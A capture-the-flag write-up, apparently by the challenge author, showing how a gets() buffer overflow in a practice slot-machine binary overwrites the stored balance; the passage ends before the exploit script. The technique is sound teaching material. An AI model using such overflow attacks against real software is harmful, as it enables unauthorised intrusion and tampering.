The casino fixed their slot machine algorithm - good luck hitting that jackpot now!
I mentioned that part 1 of this challenge was an unintended solution I caught before the CTF, so here's what I actually intended to make 😅
Solution
We don't know what the winning condition is yet but since it's a pwn challenges, let's check the binary protections.
checksec --file rigged_slot2
[*] '/home/crystal/Desktop/challs/pwn/RiggedSlotMachine2/solution/rigged_slot2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
No canaries, so potentially a buffer overflow for us to exploit. We'll check the disassembled code in ghidra soon. First, let's run the binary and see if it looks different to part 1.
nc localhost 1337
Welcome to the Rigged Slot Machine!
You start with $100. Can you beat the odds?
Enter your name:
cat
Welcome, cat!
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $90
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $80
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $70
Enter your bet amount (up to $100 per spin): 50
You lost $50.
Current Balance: $20
Enter your bet amount (up to $100 per spin): 20
You lost $20.
Current Balance: $0
You're out of money! Game over!
It looks similar, apart from the name entry at the beginning and the terrible odds (try your brute force script from part 1 if you like).
I've renamed some of the variables in ghidra.
setup_alarm(5);
balance = 100;
puts("Welcome to the Rigged Slot Machine!");
puts("You start with $100. Can you beat the odds?");
enter_name(name);
do {
while( true ) {
while( true ) {
bet = 0;
printf("\nEnter your bet amount (up to $%d per spin): ",100);
user_input = __isoc99_scanf(&%d,&bet);
if (user_input == 1) break;
puts("Invalid input! Please enter a numeric value.");
clear_input();
}
if ((bet < 1) || (100 < bet)) break;
if ((int)balance < bet) {
printf("You cannot bet more than your Current Balance: $%d\n",(ulong)balance);
}
else {
play(bet,&balance);
if (balance == 1337420) {
payout(&balance);
}
}
}
printf("Invalid bet amount! Please bet an amount between $1 and $%d.\n",100);
} while( true );
Similar to last time, but we need to hit a balance of $1,337,420 within the 5 minute time limit (I might of reduced to 2-3 mins, can't remember). Checking the odds, they are terrible 😫
Soooo.. Back to this buffer overflow! The name buffer shows as 20 bytes in ghidra, but there is no limit to how much the user can provide (dangerous gets() function).
Let's test this! Enter a long string (over 20) as the name and play some games.
nc localhost 1337
Welcome to the Rigged Slot Machine!
You start with $100. Can you beat the odds?
Enter your name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $1094795575
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $1094795565
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $1094795555
That's a lot of money!! We overwrite the balance on the stack 😌 We need exactly 1337420 though, let's automate it into a script.